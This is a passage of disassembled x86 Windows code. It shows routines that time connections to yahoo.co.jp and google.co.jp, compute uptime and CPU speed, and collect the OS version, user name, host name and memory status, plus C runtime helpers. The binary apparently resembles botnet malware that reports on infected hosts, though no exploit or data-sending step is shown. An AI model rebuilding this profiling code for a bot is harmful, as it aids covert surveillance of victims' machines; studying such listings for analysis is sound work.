		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_416E77
		push	[ebp+eax*4+var_3C]
		call	sub_416E91
		push	8
		mov	esi, eax
		call	sub_416E77
		push	[ebp+eax*4+var_3C]
		call	sub_416E91
		add	esp, 10h
		test	esi, esi
		jz	short loc_41716D
		test	eax, eax
		jz	short loc_417169
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41716F
; ---------------------------------------------------------------------------


loc_417169:				; CODE XREF: sub_41706C+F4j
		mov	ebx, esi
		jmp	short loc_41716F
; ---------------------------------------------------------------------------


loc_41716D:				; CODE XREF: sub_41706C+F0j
		mov	ebx, eax


loc_41716F:				; CODE XREF: sub_41706C+FBj
					; sub_41706C+FFj
		push	0Ch
		call	sub_416E77
		push	[ebp+eax*4+var_6C]
		call	sub_416E91
		push	0Ch
		mov	edi, eax
		call	sub_416E77
		push	[ebp+eax*4+var_6C]
		call	sub_416E91
		add	esp, 10h
		test	edi, edi
		jz	short loc_4171A7
		test	eax, eax
		jz	short loc_4171A3
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_4171A9
; ---------------------------------------------------------------------------


loc_4171A3:				; CODE XREF: sub_41706C+12Ej
		mov	esi, edi
		jmp	short loc_4171A9
; ---------------------------------------------------------------------------


loc_4171A7:				; CODE XREF: sub_41706C+12Aj
		mov	esi, eax


loc_4171A9:				; CODE XREF: sub_41706C+135j
					; sub_41706C+139j
		push	6
		call	sub_416E77
		push	[ebp+eax*4+var_1C]
		call	sub_416E91
		push	6
		mov	edi, eax
		call	sub_416E77
		push	[ebp+eax*4+var_1C]
		call	sub_416E91
		add	esp, 10h
		test	edi, edi
		jz	short loc_4171E1
		test	eax, eax
		jz	short loc_4171DD
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_4171E3
; ---------------------------------------------------------------------------


loc_4171DD:				; CODE XREF: sub_41706C+168j
		mov	ecx, edi
		jmp	short loc_4171E3
; ---------------------------------------------------------------------------


loc_4171E1:				; CODE XREF: sub_41706C+164j
		mov	ecx, eax


loc_4171E3:				; CODE XREF: sub_41706C+16Fj
					; sub_41706C+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_4171F0
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_4171F3
; ---------------------------------------------------------------------------


loc_4171F0:				; CODE XREF: sub_41706C+17Bj
		push	2
		pop	edi


loc_4171F3:				; CODE XREF: sub_41706C+182j
		test	esi, esi
		jz	short loc_4171FB
		add	eax, esi
		jmp	short loc_4171FC
; ---------------------------------------------------------------------------


loc_4171FB:				; CODE XREF: sub_41706C+189j
		dec	edi


loc_4171FC:				; CODE XREF: sub_41706C+18Dj
		test	ecx, ecx
		jz	short loc_417204
		add	eax, ecx
		jmp	short loc_417205
; ---------------------------------------------------------------------------


loc_417204:				; CODE XREF: sub_41706C+192j
		dec	edi


loc_417205:				; CODE XREF: sub_41706C+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A7A4
		push	eax
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_413B5E
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41706C	endp


; =============== S U B	R O U T	I N E =======================================



sub_417249	proc near		; CODE XREF: sub_401AC7+20F0p
					; sub_401AC7+2574p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4D8698
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_417E90
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417249	endp


; =============== S U B	R O U T	I N E =======================================



sub_4172B2	proc near		; CODE XREF: sub_417368+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_4172BA:				; CODE XREF: sub_4172B2+2Fj
					; sub_4172B2+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	dword_423078	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419800
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_4172BA
		jb	short loc_4172E9
		cmp	ebx, esi
		ja	short loc_4172BA


loc_4172E9:				; CODE XREF: sub_4172B2+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_419870
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41735C
		jb	short loc_417308
		cmp	esi, 50h
		jnb	short loc_41730D


loc_417308:				; CODE XREF: sub_4172B2+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41730D:				; CODE XREF: sub_4172B2+54j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417318
		cmp	esi, 47h
		jnb	short loc_41731D


loc_417318:				; CODE XREF: sub_4172B2+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41731D:				; CODE XREF: sub_4172B2+64j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417328
		cmp	esi, 37h
		jnb	short loc_41732D


loc_417328:				; CODE XREF: sub_4172B2+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41732D:				; CODE XREF: sub_4172B2+74j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417338
		cmp	esi, 26h
		jnb	short loc_41733D


loc_417338:				; CODE XREF: sub_4172B2+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41733D:				; CODE XREF: sub_4172B2+84j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417348
		cmp	esi, 1Eh
		jnb	short loc_41734D


loc_417348:				; CODE XREF: sub_4172B2+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41734D:				; CODE XREF: sub_4172B2+94j
		test	ecx, ecx
		ja	short loc_41735C
		jb	short loc_417358
		cmp	esi, 0Ah
		jnb	short loc_41735C


loc_417358:				; CODE XREF: sub_4172B2+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41735C:				; CODE XREF: sub_4172B2+4Dj
					; sub_4172B2+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4172B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417368	proc near		; CODE XREF: sub_401AC7+22C6p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43B9B8
		mov	[ebp+var_CC], 94h
		call	dword_4230C8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_4173EF
		cmp	[ebp+var_C4], ebx
		jnz	short loc_4173CB
		cmp	[ebp+var_BC], 1
		jnz	short loc_4173B5
		mov	[ebp+var_4], offset dword_4336E8


loc_4173B5:				; CODE XREF: sub_417368+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41746A
		mov	[ebp+var_4], offset dword_4336E4
		jmp	short loc_41743B
; ---------------------------------------------------------------------------


loc_4173CB:				; CODE XREF: sub_417368+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_4173DD
		mov	[ebp+var_4], offset dword_4336E0
		jmp	short loc_417432
; ---------------------------------------------------------------------------


loc_4173DD:				; CODE XREF: sub_417368+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41742B
		mov	[ebp+var_4], offset dword_4336DC
		jmp	short loc_417432
; ---------------------------------------------------------------------------


loc_4173EF:				; CODE XREF: sub_417368+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41742B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_417409
		mov	[ebp+var_4], offset dword_4336D8
		jmp	short loc_417432
; ---------------------------------------------------------------------------


loc_417409:				; CODE XREF: sub_417368+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41741B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_417432
; ---------------------------------------------------------------------------


loc_41741B:				; CODE XREF: sub_417368+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_417432


loc_41742B:				; CODE XREF: sub_417368+7Cj
					; sub_417368+8Ej
		mov	[ebp+var_4], offset dword_4336D0


loc_417432:				; CODE XREF: sub_417368+73j
					; sub_417368+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41746A


loc_41743B:				; CODE XREF: sub_417368+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41746A
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_2	; "%s (%s)"
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41746A:				; CODE XREF: sub_417368+54j
					; sub_417368+D1j ...
		mov	ax, word_438900
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4C96F0
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_4174A3
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_4174A3:				; CODE XREF: sub_417368+12Cj
		push	[ebp+arg_4]
		call	sub_409D1D
		pop	ecx
		push	eax
		call	dword_4C983C	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4C97BC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4174CC
		push	dword ptr [eax]
		jmp	short loc_4174D1
; ---------------------------------------------------------------------------


loc_4174CC:				; CODE XREF: sub_417368+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_4174D1:				; CODE XREF: sub_417368+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_417D96
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_423074	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AA98
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_423104	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_423100	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_423174	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417EE1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_41455C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_417249
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41444C
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41444C
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4172B2
		push	edx
		push	eax
		push	offset dword_43A9BC
		push	200h
		push	[ebp+arg_0]
		call	sub_417E90
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417368	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_401AC7+22F4p
					; sub_401AC7+68C7p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		cmp	dword_4C98E4, 0
		jnz	short loc_417690
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4C96D8	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_417671
		lea	eax, [ebp+var_8C]
		push	offset dword_43AB18
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_417671:				; CODE XREF: sub_41761C+40j
		test	[ebp+var_C], 1
		jz	short loc_417689
		push	offset dword_43AB10


loc_41767C:				; CODE XREF: sub_41761C+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_4176AF
; ---------------------------------------------------------------------------


loc_417689:				; CODE XREF: sub_41761C+59j
		push	offset off_43AB0C
		jmp	short loc_41767C
; ---------------------------------------------------------------------------


loc_417690:				; CODE XREF: sub_41761C+28j
		mov	esi, offset off_43AB08
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_417D96
		add	esp, 10h


loc_4176AF:				; CODE XREF: sub_41761C+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AAC4
		push	200h
		push	[ebp+arg_0]
		call	sub_417E90
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41761C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176F0	proc near		; CODE XREF: sub_401000+34p
					; sub_401221+14Ap ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417710


loc_4176FC:				; CODE XREF: sub_4176F0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417743
		test	ecx, 3
		jnz	short loc_4176FC
		add	eax, 0


loc_417710:				; CODE XREF: sub_4176F0+Aj
					; sub_4176F0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417710
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417761
		test	ah, ah
		jz	short loc_417757
		test	eax, 0FF0000h
		jz	short loc_41774D
		test	eax, 0FF000000h
		jz	short loc_417743
		jmp	short loc_417710
; ---------------------------------------------------------------------------


loc_417743:				; CODE XREF: sub_4176F0+11j
					; sub_4176F0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41774D:				; CODE XREF: sub_4176F0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417757:				; CODE XREF: sub_4176F0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417761:				; CODE XREF: sub_4176F0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_4176F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41776B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401AC7+5012p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417780
		or	eax, 0FFFFFFFFh
		jmp	short loc_4177BA
; ---------------------------------------------------------------------------


loc_417780:				; CODE XREF: sub_41776B+Ej
		test	al, 83h
		jz	short loc_4177B8
		push	esi
		call	sub_419EDB
		push	esi
		mov	edi, eax
		call	sub_419E75
		push	dword ptr [esi+10h]
		call	sub_419DC2
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_4177A6
		or	edi, 0FFFFFFFFh
		jmp	short loc_4177B8
; ---------------------------------------------------------------------------


loc_4177A6:				; CODE XREF: sub_41776B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_4177B8
		push	eax
		call	sub_4177C1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_4177B8:				; CODE XREF: sub_41776B+17j
					; sub_41776B+39j ...
		mov	eax, edi


loc_4177BA:				; CODE XREF: sub_41776B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41776B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177C1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_409C3F+B1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4177EE
		push	esi
		call	sub_41A027
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_4177E0
		push	eax
		call	sub_41A052
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4177E0:				; CODE XREF: sub_4177C1+13j
		push	0
		push	dword_4D9D60
		call	dword_423178	; RtlFreeHeap


loc_4177EE:				; CODE XREF: sub_4177C1+7j
		pop	esi
		retn
sub_4177C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177F0	proc near		; CODE XREF: sub_4010AB+45p
					; sub_40E142+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_417814
		xor	eax, eax
		jmp	loc_4178BD
; ---------------------------------------------------------------------------


loc_417814:				; CODE XREF: sub_4177F0+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417827
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_417833
; ---------------------------------------------------------------------------


loc_417827:				; CODE XREF: sub_4177F0+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_417833
; ---------------------------------------------------------------------------


loc_417830:				; CODE XREF: sub_4177F0+C4j
		mov	ecx, [ebp+arg_0]


loc_417833:				; CODE XREF: sub_4177F0+35j
					; sub_4177F0+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417865
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417865
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41784A
		mov	edi, eax


loc_41784A:				; CODE XREF: sub_4177F0+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_418810
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_4178B0
; ---------------------------------------------------------------------------


loc_417865:				; CODE XREF: sub_4177F0+49j
					; sub_4177F0+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_417898
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41787B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41787B:				; CODE XREF: sub_4177F0+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41AC01
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4178C2
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4178C8
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_4178B0
; ---------------------------------------------------------------------------


loc_417898:				; CODE XREF: sub_4177F0+78j
		push	esi
		call	sub_41AB28
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4178CC
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_4178B0:				; CODE XREF: sub_4177F0+73j
					; sub_4177F0+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_417830
		mov	eax, [ebp+arg_8]


loc_4178BD:				; CODE XREF: sub_4177F0+1Fj
					; sub_4177F0+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178C2:				; CODE XREF: sub_4177F0+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_4178CC
; ---------------------------------------------------------------------------


loc_4178C8:				; CODE XREF: sub_4177F0+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_4178CC:				; CODE XREF: sub_4177F0+B2j
					; sub_4177F0+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_4178BD
sub_4177F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178D8	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_4194D3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4178F3
		push	[esp+10h+arg_4]
		call	sub_417A2B
		pop	ecx
		jmp	loc_4179F3
; ---------------------------------------------------------------------------


loc_4178F3:				; CODE XREF: sub_4178D8+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_417909
		push	ebx
		call	sub_4177C1
		pop	ecx


loc_417902:				; CODE XREF: sub_4178D8+114j
		xor	eax, eax
		jmp	loc_4179F3
; ---------------------------------------------------------------------------


loc_417909:				; CODE XREF: sub_4178D8+21j
					; sub_4178D8+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4179D4
		push	ebx
		call	sub_41A027
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_4179B1
		cmp	esi, dword_43AB7C
		ja	short loc_417971
		push	esi
		push	ebx
		push	ebp
		call	sub_41A832
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417940
		mov	edi, ebx
		jmp	short loc_417969
; ---------------------------------------------------------------------------


loc_417940:				; CODE XREF: sub_4178D8+62j
		push	esi
		call	sub_41A37D
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417971
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417957
		mov	eax, esi


loc_417957:				; CODE XREF: sub_4178D8+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_418810
		push	ebx
		push	ebp
		call	sub_41A052
		add	esp, 14h


loc_417969:				; CODE XREF: sub_4178D8+66j
		test	edi, edi
		jnz	loc_4179F1


loc_417971:				; CODE XREF: sub_4178D8+53j
					; sub_4178D8+73j
		test	esi, esi
		jnz	short loc_417978
		push	1
		pop	esi


loc_417978:				; CODE XREF: sub_4178D8+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4D9D60
		call	dword_423180	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4179D4
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41799D
		mov	eax, esi


loc_41799D:				; CODE XREF: sub_4178D8+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_418810
		push	ebx
		push	ebp
		call	sub_41A052
		add	esp, 14h
		jmp	short loc_4179D0
; ---------------------------------------------------------------------------


loc_4179B1:				; CODE XREF: sub_4178D8+47j
		test	esi, esi
		jnz	short loc_4179B8
		push	1
		pop	esi


loc_4179B8:				; CODE XREF: sub_4178D8+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_4D9D60
		call	dword_42317C	; RtlReAllocateHeap
		mov	edi, eax


loc_4179D0:				; CODE XREF: sub_4178D8+D7j
		test	edi, edi
		jnz	short loc_4179F1


loc_4179D4:				; CODE XREF: sub_4178D8+36j
					; sub_4178D8+B9j
		cmp	dword_4D8750, 0
		jz	short loc_4179F1
		push	esi
		call	sub_41ADF7
		test	eax, eax
		pop	ecx
		jnz	loc_417909
		jmp	loc_417902
; ---------------------------------------------------------------------------


loc_4179F1:				; CODE XREF: sub_4178D8+93j
					; sub_4178D8+FAj ...
		mov	eax, edi


loc_4179F3:				; CODE XREF: sub_4178D8+16j
					; sub_4178D8+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4178D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179F8	proc near		; CODE XREF: sub_417A18+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AF82
		test	eax, eax
		jnz	short loc_417A02
		retn
; ---------------------------------------------------------------------------


loc_417A02:				; CODE XREF: sub_4179F8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41AE12
		add	esp, 10h
		retn
sub_4179F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A18	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401AC7+4FE6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4179F8
		add	esp, 0Ch
		retn
sub_417A18	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A2B	proc near		; CODE XREF: sub_4010AB+6p
					; sub_409C3F+63p ...

arg_0		= dword	ptr  4

		push	dword_4D8750
		push	[esp+4+arg_0]
		call	sub_417A3D
		pop	ecx
		pop	ecx
		retn
sub_417A2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A3D	proc near		; CODE XREF: sub_417A2B+Ap
					; sub_4194C5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417A66


loc_417A44:				; CODE XREF: sub_417A3D+27j
		push	[esp+arg_0]
		call	sub_417A69
		test	eax, eax
		pop	ecx
		jnz	short locret_417A68
		cmp	[esp+arg_4], eax
		jz	short locret_417A68
		push	[esp+arg_0]
		call	sub_41ADF7
		test	eax, eax
		pop	ecx
		jnz	short loc_417A44


loc_417A66:				; CODE XREF: sub_417A3D+5j
		xor	eax, eax

locret_417A68:				; CODE XREF: sub_417A3D+13j
					; sub_417A3D+19j
		retn
sub_417A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A69	proc near		; CODE XREF: sub_417A3D+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_43AB7C
